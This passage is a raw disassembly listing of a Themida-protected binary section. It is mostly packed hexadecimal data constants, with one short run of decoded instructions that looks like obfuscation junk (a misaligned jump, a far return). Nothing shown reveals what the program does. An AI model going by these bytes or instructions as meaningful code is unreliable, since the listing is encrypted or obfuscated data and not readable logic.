3F0909D5h dd 8B48E6B4h, 843C23D8h, 0B81CF50Eh, 0C733E180h, 3B68DD18h dd 0ECECEEDh, 1BE710A8h, 5E91D2D1h, 20CC7061h, 0C0831F48h dd 1F3DB6CAh, 2492688Ch, 959D1064h, 36F0D898h, 0B79F30C6h dd 3BFAE498h, 0D04D5CF0h, 49B2401Ch, 0E7024501h, 4FB7AA7h dd 26CEA064h, 80C0DB7Fh, 1EEC6383h, 0BB00C495h, 9269637h dd 39CD4AFh, 0BE1C0AD5h, 80A420B7h, 0F8E53218h, 9A6B1096h dd 29C717Ch, 17AA7A39h, 391254E9h, 7043933Ch, 482884h dd 0B8ED11F8h, 0E2ECEA63h, 21CDE1F9h, 1C302044h, 0FB4F171Dh dd 6B564040h, 601584F7h, 0B06D381Bh, 2A60147Ah, 3ACD9C68h dd 0F3400196h, 0C584CA04h, 18203961h, 0B8B0E1BCh, 90390073h dd 0DBB19995h, 9A30845Ch, 54E498E7h, 4C3809ADh, 7C006436h dd 0C1027A79h, 0CEF9B8C1h, 0F8891D0Ah, 94A17044h, 966F9479h dd 14122280h, 34A3004h, 2DA52003h, 85B82CC1h, 8F453BD0h dd 0BCED9C45h, 0AC8A1EC7h, 0A7A3A05h, 74049852h, 2C051520h dd 7C00A212h, 18BB9930h, 2E01F608h, 0AC14F171h, 248E0890h dd 30A79900h, 7A665F44h, 0B11B03A8h, 5B0D7A34h, 9E522002h dd 0A0C909C6h, 1D6084E0h, 0CEEA0C73h, 9D60D4C4h, 0B8F07672h dd 1086F4Ch, 0CF89C243h, 5434BCBDh, 909F5492h, 0F1E34081h dd 0BE34A305h, 20C00186h, 2153D61h, 0C63AE991h, 3C68F1E4h dd 0DEF03979h, 50D4B959h, 6800D30Ch, 6A0EE122h, 80690284h dd 8226C641h, 9582448Ah, 60D3B7DDh, 3E1E2C4h, 50515354h dd 602637A1h, 0E9025009h, 81DB6484h, 0ADD4EB8h, 0CE822C2Ch dd 7C442707h, 0BA208400h, 0D0AC1CF4h, 4BF3260Dh, 48111B3Ch dd 0C3496298h, 0EEDE2702h, 53D71CD6h, 0C8833C90h, 5F1BF11h dd 72A5BE0h, 0A8F8377Ah, 3C635207h, 0F94CC6AEh, 0FE683AF8h dd 0BC9EC858h, 0C1953580h, 7A182DD3h, 803E7B2Dh, 0A7BF04FCh dd 0BB1603C5h, 68D624ECh, 9144DCBCh, 2E3E6203h, 24D4677Ah dd 0D74F558h, 42A18FAFh, 0BC4C362Ch, 209E6628h, 0DD3FF83Fh dd 22398E10h, 40E8A41Ch, 3F47F8F0h, 5C00C9A6h, 0DD11EF5Fh dd 84F0C5E6h, 787008A1h, 6B081024h, 6D454B00h, 0D571CEF6h dd 7E322492h, 324109Fh, 6CC17B5Fh, 78A868F1h, 35DE840h dd 8557837Ch, 5EE1EBDAh dd 4018870Bh, 8282CD90h, 3444416Ah, 143DA861h, 0EECC6E00h dd 0E23CDE9Ch, 0F490D8B4h, 0C0B2C4h, 0CD24E83Ah, 21584F5Eh dd 6CE1AD8Ch, 0C5A6C0FCh, 485984A1h, 0A70B20CEh, 0B80199BDh dd 0F1CB9674h, 668C209Eh, 0C781D200h, 601222B5h, 9147F27h dd 6EFECEFDh, 0FC609829h, 0F658DE45h, 4031C9D0h, 59B1C68Ch dd 8600A822h, 23E12E93h, 521665BEh, 8409984h, 0EDB3F86Fh dd 11BF006Dh, 8FDBE95Dh, 9F09679Ah, 83012194h, 8758CB38h dd 80192583h, 0CC823E3h, 0E49E535Dh, 0A8371B30h, 628038E0h dd 3A40BEACh, 74739467h, 32CF00A0h, 0CDB0DFF5h, 28C5E5F0h dd 2000545Ch, 1AFFE929h, 420807BEh, 41AD509Fh, 0E03EB7F8h dd 0C5F8A619h, 30726437h, 0DA4D7D80h, 0C448C2DCh, 0C00FD5F7h dd 6CEA7857h, 73CD18EFh, 0E32520F0h, 0E35548h, 0C7B5AF29h dd 287D61h, 599D5B5Dh, 0D81BF09Ch, 6ACBE001h, 7DADC53Ah dd 14EA509Fh, 43076CA9h, 0C0E5111Dh, 3008C618h, 0AA50B4B0h dd 7C505C10h, 47812368h, 0A99B0841h, 70CD8858h, 48C16310h dd 6FE3BC0Fh, 0D691B480h, 7B64418h, 7108AE69h, 3B833F2Ch dd 92998F83h, 7FC1680Dh, 6D7894F5h, 0F32050E0h, 438E703h dd 0E485C5h, 1C754978h, 0A58B62Ah, 7341A407h, 0B00CB0CEh dd 49782Ch, 59B47407h, 1CE64F89h, 0E9AB0E00h, 0ADAAAC1Bh dd 22FB0181h, 2ACE7187h, 993881A1h, 532AF83h, 4391D4h dd 628B7F5Dh, 0DF9BCD5Ah, 0BECC671Dh, 303028A4h, 1992B139h dd 10E9CBCEh, 0CDF8C45Bh, 5C80AA7Fh, 419E0C57h, 467896C1h dd 314C950Fh, 9506965Dh, 118BB14h, 0EEA4AE44h, 81B6DCC4h dd 0CE5F18E0h, 4881F264h, 89E1F2Fh, 0E8B4425Dh, 0F06F6448h dd 6DEAB305h, 0C82095BCh, 9013FB83h, 654C18C0h, 0A46440F7h dd 9196BE02h, 9CE3F79h, 0A5272C00h, 0E8247015h, 0C4C208B3h dd 0A7B4AFDEh, 50ECF183h, 56C30365h, 0F8352DF5h, 0AC3806C5h dd 0A3302164h, 0D6161992h, 0F6380E08h, 0F414116Dh, 1BB34710h dd 2808CB66h, 80D728h, 0DF918B79h, 34F988DDh, 13312D79h dd 35F260DAh, 0F8BE04D1h, 506784D4h, 40D5C4B4h, 7E095C15h dd 0E22518h, 0C4DBD648h, 5F4224BEh, 98CD1DC4h, 795C707Ch dd 3E65532Eh, 35AF2200h, 24B6D90h, 4D5DB836h, 989BA094h dd 0C13BC5F8h, 9010A8C0h, 12CAD79h, 0EECBE667h, 0BF667D83h dd 11BA80F8h, 8A306168h, 0CA6502FAh, 0D2E46E0Bh, 0F248B860h dd 0A59F8B1Fh, 0D31B9800h, 630777h, 1E7E5D2Dh, 0C31CA80Ah dd 913AD500h, 879D668Bh, 65413F8h, 0FF2B04EEh, 0F14C1C0h dd 0E9F8889Ch, 87DC00B4h, 0BDD40DF9h, 0AB7EF5FAh, 0E643C8F1h dd 805E20CAh, 9444A03h, 0BE32F3A8h, 0A0665018h, 94C82065h dd 4430C8A4h, 25781190h, 8FDC0631h, 18304C02h, 0B3E06D04h dd 8902783h, 93C7A5h, 10E3D05Bh, 0AB451385h, 2E2ACDF8h dd 0B1C5A4FDh, 0C0016641h, 3B9E7F5Fh, 48EEE849h, 801F48A8h dd 5830792Eh, 0D11B7847h, 8027E9E0h, 1D100992h, 0CA105C04h dd 5E8309F0h, 1824A4FAh, 145704C0h, 0E5A2006Bh, 0BC9BEFD3h dd 0D2020209h, 1378E4BFh, 246867BEh, 0CC62C484h, 0FFFE8368h dd 5D3D18C0h, 3EFD1782h, 6415CB61h, 3A8C9826h, 0D5066C29h dd 0DC4CF4EBh, 90035051h, 8C0906Eh, 9589CDEAh, 2242631Ch dd 0E01BC5C2h, 0EA4DDB76h, 0A5CB3C24h, 505FAB80h, 84DDCEAAh dd 0C138319h, 28203E70h, 72201228h, 8D3400A9h, 4F6F9B2h dd 0E9835E0Dh, 0C19D286Bh, 8F9C47A9h, 132DB0CEh, 6448E986h dd 9434009Ch, 313FC9AAh, 70603119h, 8304D8C9h, 0B4C53640h dd 1098000Fh, 0AD3C9867h, 0D10365EAh, 44F9D57Dh, 5B59E011h dd 0A87C22h, 0B6E26BC9h, 7084B8F2h, 0DCB4082Ah, 603FC0A1h dd 567E82B8h, 3983D909h, 1F1490CAh, 677FA5h, 0BC249111h dd 57E65C2Ch, 439EB415h, 0C53B1ED4h, 0D449E1D2h, 6B041187h dd 0C4F66894h, 0C057FF86h, 0EAC53F0Ch, 0B14A3073h, 67BB8964h dd 8ECDFC02h, 0CE438448h, 5090FF49h, 70046540h, 0DD9CCDECh dd 3CACA493h, 0EC00D30h, 241022FBh, 180B601Dh, 81740EB6h dd 0BF99CE6Eh, 65362897h, 0E864C048h, 7918383Dh, 0F918FF20h dd 0D0A14865h, 0A80D168Bh, 2080B120h, 0A301247h, 0DD300206h dd 0F658367h, 0E9A1C468h, 1F0BCB03h, 0D03B7787h, 24909FFh dd 2B806104h, 10407EADh, 2C004D78h, 0F88505BCh, 1879C4E5h dd 80DC65EBh, 0EF4C303Bh, 248052D0h, 6B12E05Eh, 8883A809h dd 3500D422h, 609DF444h, 2018B03Dh, 6D581F31h, 18252E50h dd 592B7806h, 0C1FC8B58h, 8481AF9h, 1B21C0D2h, 55944CD4h dd 3CB85FE0h, 80E5E0ABh, 0A5D1CD24h, 5568ED62h, 0E1400162h dd 0E0945093h, 0ACA8E753h, 791AA3E5h, 1210FCE6h, 2EE400C8h dd 0B26E6419h, 74054D3Dh, 5021D611h, 0B10353C8h, 0CDA5575Bh dd 60C08C77h, 0C7EA39h, 0AF89EB68h, 0EDE6ABE5h, 9A5A4C2Ch dd 0DB36F000h, 0C5F68783h, 21A26580h, 236010E0h, 0CD80774Ch dd 586360B5h, 0B21A7B91h, 8F04CF7Dh, 665D5C04h, 83139C80h dd 39EE68EBh, 18099CA8h, 7D44C81Bh, 4CD8AB4Dh, 4F606093h dd 0E07B03F5h, 52DC073Eh, 0A0ECA81Ah, 7956D502h, 28F02234h dd 95BF8D8h, 31CE8685h, 565CD4A0h, 0D201650Eh, 0C5D49AAEh dd 0F8200B63h, 64BF00CFh, 19EAA9EEh, 5B00ED7Fh, 0F2530D1Ch dd 7EBB66Dh, 0CE2FA71Bh, 7A5D3017h, 350F37A6h, 0ADE9B0Ch dd 83040852h, 2081B51Ah, 0CAFDC538h, 7448C8BDh, 3500DC4Dh dd 0A1EF7165h, 9475B441h, 25755C00h, 1BD412E5h, 0ACAD07DAh dd 96C550CFh, 11294098h, 0CD1CB45Fh, 42D07E18h, 1896901Bh dd 0C8027F44h, 0B50BA78h, 681847FCh, 1730B05Bh, 92ECBAD4h dd 0D2C41788h, 0C56830E3h, 10C17F0Ah, 0B9DAD545h, 0F3A4DFCh dd 14F5835Ch, 36A6EB0Eh, 4A2C80E9h, 800270AFh, 686C74C5h dd 0C08CE34h, 2927934h, 0D45DBB80h, 24CD0B58h, 80942889h dd 0EF837026h, 0D411C16Dh, 0D802A132h, 0A06502F1h, 0F54C3444h dd 0F6B61710h, 7938E44Ch, 20615411h, 340781A3h, 715898B4h dd 0C5A706A0h, 308547h, 0BE08FE9Dh, 335083A6h, 99891CB1h dd 0C5401019h, 831A899Fh, 70792CD8h, 536828EDh, 0AAE53B38h dd 628A244Dh, 6B40048Ch, 0BCA0D294h, 2AC26404h, 41D86267h dd 3C2C5DF0h, 4B0801CEh, 3A4504Ch, 0C51DBAC0h, 1812C371h dd 0B8C821ECh, 0C0B455AFh, 7C1920D2h, 0AA4A71CEh, 4F3ED041h dd 5434C955h, 5C5E5010h, 72650436h, 1EE17883h, 8A17E840h dd 0C9A441CEh, 0F0189940h, 5038D5Fh, 0AB4CF3D8h, 0ECD140E2h dd 0A8353EA2h, 84B43C26h, 0B59533CDh, 18DC7254h, 3A68FCF1h dd 0F4765865h, 2B1E9842h, 51EC8048h, 33E9CF91h, 120D5000h dd 28089F7Ch, 83D00924h, 0FC4035CCh, 618AFE25h, 11F03848h dd 1DD9DC5Bh, 30045C81h, 240C3302h, 8B63FCFAh, 19FD2810h dd 101A6B2Ah, 2B0EFFBBh, 3F33FB01h, 347731CCh, 0FFF438EEh dd 7D54688Ch, 4EC08924h, 8C3C62B9h, 54B1FA7Bh, 18530D7Ah dd 3E1C8B59h, 1AC74EB6h, 7DD34FFh, 81F814F9h, 5750A0C4h dd 86F130E9h, 33BA520Dh, 24B3E00h, 0AF6CA81h, 7D357682h dd 0A52D03EAh, 5E2C140h, 17661200h, 0D789B27Bh, 5FE9195Ah dd 0F9804844h, 41F74356h, 9C871030h, 0E83C895Ch, 13EA0BFh dd 565F0CF9h, 291302BEh, 1810F148h, 89FAD432h, 0C68128E6h dd 0EE833B19h, 5134871Bh dd 0C688CE02h, 9B2E7068h, 53F1D084h, 0AE2853BBh, 48C3E90Ch dd 0E7EC580Eh, 0CF316B60h, 0F5F82159h, 0C18010F1h, 0EBC02FF3h dd 0B43C5007h, 0F4E4812Dh, 28E9DCF6h, 59A608DEh, 350CAC83h dd 0DAE90C03h ; --------------------------------------------------------------------------- loc_4E618C: ; CODE XREF: Themida_:004E61A5j repne add al, ah push ebp mov ebp, esp add ebp, 3DC6148Fh cmp cl, [edx] add [ecx-47h], dl loop near ptr loc_4E619F+2 loc_4E619F: ; CODE XREF: Themida_:004E619Dj db 2Eh push 9400EB81h jl short loc_4E618C cmp eax, [ecx] retf ; --------------------------------------------------------------------------- dw 0AEE9h dd 32260868h, 93D63143h, 84FBF9F2h, 0D4EC779Fh, 2973FB89h dd 83B157E3h, 6D07E952h, 0D0300C1Ch, 0D8F6C287h, 23583CB3h dd 879B04C7h, 99BFE74Ah, 23535457h, 57303D8Fh, 0C2E78B28h dd 0F18EE9F5h, 5E0D9A2h, 0FE3B75A3h, 0BEDA1940h, 28395B3Ah dd 0DF1FEB6Ch, 4600FB05h, 0E906E6C1h, 0D583687Ah, 0FF550397h dd 5DAB2474h, 1204794Ch, 14202C6h, 0A05FEBE9h, 2831F691h dd 0EFCCCEB3h, 55E7C33Dh, 0C7F2F729h, 0C2E088Ah, 66344D74h dd 12168B48h, 8F4A5450h, 0E986A658h, 1C245AD6h, 0C381D7F7h dd 43B54A86h, 0A87290E9h, 5F20701Ah, 6F0D004Ch, 0C1448B12h dd 50004E0h, 57EB9EE6h, 558C629h, 0FEE9F789h, 0D08555D8h dd 0A18D910h, 0A11BB353h, 8114F710h, 898CA0ECh, 0FBF8B8F6h dd 47211CC0h, 603FE91Ch, 0C15A2052h, 550008E7h, 0EF046BBDh dd 67ED812Bh, 91290D6Ch, 502AE95Dh, 7965B9F7h, 0F759B50Fh dd 0EFBB86D9h, 0C0DDEE58h, 3D919038h, 5DFC296Ch, 1CE80173h dd 47FD3C54h, 0B930407Ch, 5DEE9D55h, 2BF07A21h, 9AA05E4h dd 9835452h, 19007A8Ch, 8EFC059h, 48DBF780h, 1906AC52h dd 228F92E9h, 66776812h, 452A1A45h, 37558054h, 2E2AA26Ch dd 0E7895701h, 0F1205650h, 0B71030Dh, 0EE95115h, 0D023D1ACh dd 496D2192h, 0F0732050h, 1AAD3E40h, 0C5177D68h, 4550628Dh dd 585B3113h, 0D83001F8h, 5129A832h, 0F7121Ah, 0EFC15FFFh dd 8A25706h, 1BDF3F80h, 56001D74h, 5B8AB850h, 6D1075Ch dd 0B1E948E0h, 0BAAC5CD6h, 92E8213Eh, 0CA5543A2h, 0E74D7A6Fh dd 0D4247E21h, 0C7817520h, 6CA61F92h, 9A6739ECh, 0C8F84870h dd 4C7BE557h, 0AA1076C3h, 0F74A0F33h, 226109D2h, 925F5407h dd 5706117Ch, 5F22BE22h, 90D938CCh, 81E20ED1h, 0C09EFCC2h dd 74EB2DDEh, 1141577h, 7E0705D0h, 8B502C30h, 90565DE8h dd 64910954h, 898016D6h, 7AE40239h, 7CE80CC1h, 0EDC922C1h dd 9A63E9ECh, 14332639h, 0BA0C6C48h, 9334D5A6h, 0E313B11Fh dd 507F2611h, 7E60EFBBh, 280EB20Eh, 5A6605D3h, 18C8C380h dd 565B3DC5h, 114077A2h, 0E8DDE112h, 0B3F38180h, 209D542h dd 685BD801h, 4497784h, 0E947202Ch, 127B4C32h, 180B6059h dd 4CF492DAh, 80B4AFC6h, 0B1B276F9h, 0EE01097Ch, 2B883F44h dd 8A31CE01h, 4E590800h, 54A626E9h, 35BB8012h, 21091F6Fh dd 524ADD48h, 526B6Eh, 3105D580h, 6043B8CDh, 0E1C1368Ch dd 81E24108h, 300302ECh, 0C8895187h, 58F59F59h, 426D3487h dd 1DD9A90Dh, 22923B62h, 0C84268BFh, 4CBE839Bh, 86410C9h dd 0D61DDCD0h, 0E3D02820h, 20347AB5h, 5C4D7426h, 228C4569h dd 8B08D275h, 0CA290909h, 2E753201h, 0E9888E4h, 0BF22008h dd 348558B6h, 0BBB5880h, 0E91374B3h, 1567E70Ch, 5212DD93h dd 913E234h, 7054264Ah, 32CC681Ah, 2756A81h, 2E6334F1h dd 6B1F79B0h, 5F43F13Ch, 7E5C0DE9h, 3DACB955h, 470F4197h dd 82C3C61Eh, 0BFE64220h, 98D35958h, 0B3585476h, 0E0080892h dd 0C6F5010Ah, 74388002h, 0D2620Ch, 0E94903E2h, 1501990Bh dd 0FC121EC2h, 0DA774727h, 0D283835Bh, 0EB804C02h, 0C15066EDh dd 0D1927B79h, 0F8C114E2h, 77E6C2C0h, 13C6B0Bh, 8A172EAh dd 753A8C5Dh, 0FFC65F47h, 395286C8h, 18747E58h, 870A3168h dd 0BF80392Ch, 4870F47Ah, 85055938h, 0C027801Dh, 0F45B726Dh dd 8343223Bh, 9D0ACFC3h, 81A2C7Dh, 1600202h, 0B7C05BDFh dd 6B0657DCh, 5802E930h, 5BC355ABh, 0F4041B59h, 3190AE25h dd 202439Dh, 453FB97Bh, 2B50BD0Ah, 8D5FAC1h, 0C1C63132h dd 0E2848170h, 97733A09h, 31EC9485h, 86331570h, 0C9845CC9h dd 0F2E4D0F0h, 0A7093222h, 6D73111h, 0DE1AE855h, 49101399h dd 3325109h, 0F965CEC0h, 0FD2415A4h, 91CA1B46h, 1EB0CA5Ah dd 66C9A886h, 6134800Dh, 533E0C1Eh, 0ADDDBE8Dh, 26379FD8h dd 1C0A0BCEh, 0D98E8996h, 0DC593F84h, 814A4A83h, 72820827h dd 12C0442Ah, 48A55D3h, 131ECE87h, 0D1F7501h, 0A4ED0582h dd 75B9A124h, 138F0158h, 4FAFF181h, 2C2E70A0h, 86202160h dd 26C180D1h, 8C930E2h, 7E2403FAh, 9011B08h, 6704EB28h dd 0C335C249h, 5CB9F5C0h, 2E77FF80h, 39309D1Ch, 9CAAD332h dd 94CAFC41h, 18B357F0h, 0AD8F6BF5h, 0FC7F0FBBh, 3586CA31h dd 875826DCh, 0C15C022Bh, 434605E6h, 5B0F9075h, 9A23B0D2h dd 0A05248C8h, 2E08D050h, 28BEB407h, 606CADEh, 6ACC0DADh dd 21CAC9B4h, 1DD444F9h, 0F6CF2A2Eh, 5142825Dh, 0CC900D6Eh dd 0E961D694h, 0A02C7A05h, 0D6C00C93h, 0BB821CB1h, 2602B28Bh dd 316D2033h, 0FB040D06h, 6E83F2A0h, 435896C0h, 287514C6h dd 0DE011116h, 48084910h, 7A718F9Ah, 0FBE6AA1h, 55D30A33h dd 1B49B109h, 31C5C75Ch, 4CAFEBD1h, 0BB18B033h, 0D9213F40h dd 8D34028Ah, 0B768594Bh, 7F4EB66Eh, 6E3B780h, 0CE5016F2h dd 0DA07B283h, 8003EAC0h, 3987E835h, 0C447C2F2h, 199F1C99h dd 0DE310129h, 20F2015Bh, 5840236Ch, 0F8C27588h, 3D7E6204h dd 660044D3h, 0E95DEB29h, 4FEE5030h, 0E90FF063h, 7464BF26h dd 20063881h, 26D1686Bh, 10501763h, 401E19EEh, 0AB61D46Ch dd 5A2DB1Ch, 0FD0CC484h, 2D54B2E9h, 95A1ED7h, 0CFC18CF8h dd 0CD9153ECh, 746133Dh, 1775AB8Dh, 605F8F5h, 4D8990CBh dd 8856E532h, 492E59F3h, 6DA3C760h, 28147831h, 5E00F12Ch dd 0F4B8C209h, 23573124h, 150D0636h, 0CA663AE9h, 1EA40126h dd 299AB183h, 7D8D6376h, 6FC91A26h, 3668716Ch, 26813D41h dd 7266E7A0h, 280C1083h, 2C311B2Fh, 28064078h, 0BEFBCA67h dd 28EAA062h, 188E5401h, 75A3E95Ah, 0CC4C085Bh, 0B3530E0Ch dd 0B551A2B8h, 27636Ch, 3DB05016h, 0F404C8FEh, 404BE913h dd 0DE57E289h, 28D1B0B3h, 81B7584Eh, 918DD345h, 82E1C8AAh dd 0C0B60F34h, 710C7866h, 21224A68h, 74EDE914h, 6C622982h dd 855A5DAEh, 33937ABAh, 7DEF425Ch, 601F257Fh, 6F00F133h dd 3E31EF81h, 7829157Fh, 845E5C7h, 58896E84h, 49491766h dd 52D40896h, 1E936616h, 85B5E9B3h, 30E9DDC0h, 0BDDEDEC7h dd 9D2E0B16h, 0C200B741h, 21595674h, 0D15A13D5h, 0CD1E80EDh dd 621D15DBh, 0C5C04D54h, 969C0D6Ch, 0E3F92EE9h, 407CA6CBh dd 0C2FEBAB2h, 5C738072h, 882DF212h, 41D3C11Fh, 300266h dd 0E3323AB8h, 2C702D5Fh, 28EA09F8h, 8082743Ah, 5C919A35h dd 0AC7894Dh, 99E95758h, 700949A9h, 5348B19h, 48989744h dd 0BB399CC9h, 38E3297Bh, 856880DAh, 5D0BD732h, 8BEB011Eh dd 56402AE7h, 457E2F0Dh, 256BD5F8h, 0C3940798h, 1265FF5Ch dd 0BC7C794h, 0DAA020FDh, 42F49811h, 5A0642C1h, 6311F0Dh dd 0F24146DAh, 4CA590D2h, 0FBD1AE79h, 0AA64E91Dh, 0D0ED48A2h dd 3C84E027h, 0AB69253h, 34C86801h, 0C5BD7650h, 2E22257Eh dd 0E164D688h, 844FA5E9h, 9F2CAC0Ah, 9D68F82h, 8BB21B81h dd 322DE838h, 0A6F783Bh, 705F001h, 2834A93Fh, 0E3895380h dd 9E1395E9h, 4B68611Eh, 10697626h, 0B9017241h, 0AAA4D4E2h dd 386A8181h, 0F1012AD1h, 8189A44h, 0CA12E96Bh, 0A8B68337h dd 814740F2h, 5D0DE207h, 0D7B3090Fh, 0E7170280h, 53E0037Fh dd 0BF01FC7Ah, 0E9C9DBB0h, 53492630h, 8950EB3Ch, 0D634185Dh dd 7AC2563Ah, 6930502Eh, 8E4A0709h, 0FCD0728Fh, 533B6Bh dd 59CF01CEh, 815FFA89h dd 23E1EA78h, 2AE90D7Bh, 46921029h, 64E10003h, 10D7199h dd 1273D34Ch, 75D6FD67h, 545634DEh, 556089F9h, 951C92A0h dd 312C84D8h, 1918CEFAh, 9802EF5Fh, 3F117C24h, 4C27A168h dd 4F467D09h, 9ACDA320h, 0E25A56D7h, 4863BE6Fh, 0A8017306h dd 105B78CEh, 1CA0FA01h, 50510008h, 0AB2A1BB8h, 5736E917h dd 6CBE9356h, 930D0633h, 0ACD3F739h, 86F7950h, 0C3551332h dd 0D5A25DB3h, 0F4123A61h, 10D36380h, 876562D0h, 5294C1Ah dd 9D59D117h, 63BAEC82h, 37C3039Ch, 0B5EF107Fh, 0F75E38E5h dd 7E4EF62Eh, 9A7E46Fh, 6A4888E3h, 73454C9Fh, 0D777091Ah dd 72A1E49h, 0E5D0CDFEh, 28C3C570h, 45918E8h, 0E6E90A30h dd 81C54859h, 2DE20247h, 0D4C665F4h, 0A43E3086h, 0A8098314h dd 32211278h, 5C360528h, 681A827Eh, 0E9139AC4h, 0DE9C7FB6h dd 0AE83FC1h, 0A9C5212Eh, 0B1666BC5h, 500254A1h, 380AE40Ch dd 500A224Fh, 590608EEh, 3C7963E9h, 0F716CA29h, 426806D2h dd 9792BCE6h, 0D36986F0h, 40C03310h, 40FA00Dh, 2EE9C8BEh dd 0E790D0EBh, 434F6068h, 7F550B33h, 9AFB4855h, 7668F300h dd 0DE012B83h, 801BE92Dh, 5709599Eh, 535A041Ch, 0CD6AB168h dd 0EABBE471h, 4C576F05h, 16B0E5E9h, 4F293F5Ch, 0E7685984h dd 56A8CC52h, 5160ADBCh, 9D46855h, 5D48E752h, 917C7F84h dd 2804C7DBh, 15C16F0h, 685EEF20h, 2E999A4Dh, 0A59A73E9h dd 0B707FEB2h, 0B04034DAh, 0FCE40227h, 0E3875E64h, 625BF1A7h dd 0CDD25CD2h, 1C09064Eh, 0DF63804Fh, 5C444A4Bh, 12050B47h dd 0C0FCF924h, 29595F21h, 7EE9D816h, 46B80440h, 244C0C34h dd 138D0F7h, 9CF747Fh, 55AE029h, 2D014F99h, 0AA245717h dd 10314A81h, 6CFAE958h, 0FCBD052Eh, 0AE05D13Bh, 59000CE2h dd 4AEB19B0h, 9ADBF855h, 7C2903F5h, 5B5F0824h, 2CC407D9h dd 70342C6Bh, 6A03764Ah, 11A0C17h, 0DB1B530Ch, 0FBC2010Ah dd 0E9080595h, 9748A127h, 35423960h, 4006EEC1h, 3F7CB25Fh dd 0BC152703h, 0D939AB51h, 7C59CE18h, 0DFC63A8Bh, 49D066E2h dd 655B0C13h, 148DA337h, 0C3F8EF83h, 501CF5E9h, 0E3FD0A18h dd 0D1800928h, 14BD55E6h, 71CAA00h, 2D5DEE31h, 0AB5E3E16h dd 74191D9h, 805FF660h, 0E6788956h, 0BA4EDF2Dh, 0C1E48981h dd 34BE5A2Fh, 0F651F564h, 1F9E105Eh, 184FDA50h, 0C03AE64h dd 0A909180Eh, 45C60175h, 88B62011h, 80467322h, 887DD5F6h dd 0C7699BF2h, 0F4AAACE1h, 722DE7BCh, 0F846850h, 41612047h dd 0D2D758C4h, 16540C06h, 5920B342h, 52F71E14h, 7AF5A756h dd 95622B30h, 3D061DE5h, 0D0931E47h, 0D3FD9C7Bh, 0FC04144Eh dd 2D0BC2E1h, 0F0177B83h, 0A7F538D1h, 17C9014h, 535D26EAh dd 0D031162Ch, 0BF570695h, 0EF3E2AF2h, 5FF902FCh, 56646FE9h dd 0FAD263E4h, 55D4E00h, 527B5515h, 2DD02801h, 0C339907h dd 0F16F285Dh, 62084AB9h, 0B1510342h, 28EA8017h, 8225CA5Bh dd 7130E586h, 42026A15h, 0E859C26Dh, 77631C4Dh, 0ACDCF73Fh dd 255A492h, 1C5B1CB4h, 0E6706874h, 885360BAh, 0E92752D3h dd 988B0897h, 2A722908h, 6908A21Dh, 45325BE4h, 9AEDE618h dd 8314DAF7h, 1AB01C2h, 2E6D35A5h, 0D26CA0E9h, 4648680Ah dd 0BB668340h, 0C1A04123h, 68F004EBh, 5272733Eh, 41283F8Ah dd 0A8C1EED4h, 0FF581C2h, 45CD6EC5h, 0F260C784h, 99257880h dd 0C2EA9335h, 266554A1h, 80C01CC9h, 80DDF603h, 302476F5h dd 3710C1EFh, 17C58100h, 89467B4Ch, 0E480E6A2h, 50455294h dd 3F60BFF0h, 2EA46828h, 24279872h, 0CC9E3D1h, 0C3777636h dd 0A7CD024Ah, 49A37730h, 0CE135604h, 2978DD1Bh, 0AE16E2D9h dd 79C80FE9h, 162AA988h, 0C0FB74C6h, 575D5477h, 4325684Bh dd 505F4104h, 0F2C6D488h, 0E90B1C1Fh, 0EF37E494h, 0C83B6B44h dd 3812A220h, 70F0D80h, 9E6197AAh, 0C5EC5450h, 94892D0h dd 0E54D9DC7h, 2839AF82h, 0C0095E00h, 5852D0Fh, 0BCBAB900h dd 5F0B8447h, 9A4C6268h, 0F79823B2h, 200B58D3h, 8B9DA20h dd 24634208h, 800D08BFh, 21FB801h, 7870094Ch, 0E5253F08h dd 400F7000h, 4E076F2Dh, 0C289B012h, 7B2EF3B2h, 15669D4Dh dd 4310CB0Ch, 0CD800E0Fh, 4BED6772h, 0CA905CB5h, 3D41DC2Dh dd 0A3267F3Fh, 31AD8050h, 72668D8h, 7C6F75B4h, 81526D00h dd 240583E3h, 26E421Dh, 4ACAE906h, 75CF152h, 81007E9Dh dd 513184F2h, 79D6897Ah, 1D69985Ah, 521CAC76h, 0C841C523h dd 0C04D6A3Ah, 94044AAFh, 0BB0029CFh, 46999D1Bh, 1ADF312Dh dd 51575CB3h, 962C3D31h, 3F3E0101h, 45205B6Eh, 88DA160Ah dd 2E9608D4h, 34665D12h, 467430h, 0E281401Ch, 4F2707E8h dd 0FBC43CC7h, 0D589BF11h, 5D0ECF82h, 2D5C6902h, 12388E08h dd 58F407B9h, 0D52FB514h, 0DB11F207h, 60E59A70h, 0BE5DFC45h dd 4B06E887h, 7151BC49h, 299D1048h, 0EB0381FBh, 4A60221Ah dd 0E9F3C85Fh, 283BBC4Ch, 600AEEE1h, 56E2710Ch, 673D05BEh dd 2C4EAE46h, 0D0ADE989h, 304876CCh, 0CF7D3F6Eh, 0F3256CC2h dd 4FCAC16Ah, 2CF7C070h, 0B62F150h, 2904FE01h, 3BBAB8A6h dd 69BF4859h, 54D5410Ch, 0A21042Bh, 0DC5512D3h, 0AA8A64D9h dd 0F7716DC0h, 3426CBD6h, 0CDC39B48h, 60E549D0h, 7C5F1B2Ch dd 1ABF3007h, 5EF7310Bh, 0E9F9210Bh, 5CA26110h, 0C42C9632h dd 0C3298629h, 4DF40658h, 0BE14DB60h, 4883100Ah, 4F340317h dd 0B3D385F1h, 0D1347E38h, 6FE61C78h, 20C4CD4Ah, 5700C53Ch dd 81410387h, 3B4A71E1h, 0C9034B6Fh, 3EEF0BA1h, 0B423C1E0h dd 1C0100Ah, 300995C8h, 0F4CC2377h, 6EEB98BAh, 318E9528h dd 37E965B8h, 54B2F664h, 789ABCA8h, 5FA6DF40h, 0C6A0F879h dd 0DD1D2AC6h, 298C13Ch, 0B246012h, 95E925A7h, 0A3002162h dd 1BA6512Ah, 0E967FF6h, 69096804h, 952D4FF3h, 0C8021289h dd 0BA00374Dh, 7AF45A54h, 69A3065h, 0D0F75814h, 2E220D07h dd 0CB574A2Ah, 35007F67h, 0BA0605h, 0D868563Ch, 5E4A1153h dd 6966E92Ch, 0E2CE8180h, 0EC1D6D67h, 2C2209F6h, 0CF806AB5h dd 574A5BC3h, 0EDF22928h, 218C084Ah, 56249653h, 2257E92Fh dd 2B41C0D9h, 85C5808Fh, 1A8920F4h, 7E7F6B02h, 0F75EF507h dd 0EE24E9DDh, 0F84611F2h, 0FF69EF48h, 132D8C84h, 2B68307h dd 0ED4DFAEDh, 6B992430h, 0D10F1357h, 10148A06h, 3DA2BF04h dd 0A9832D97h, 10D05A6h, 94D7E9F8h, 806DA933h, 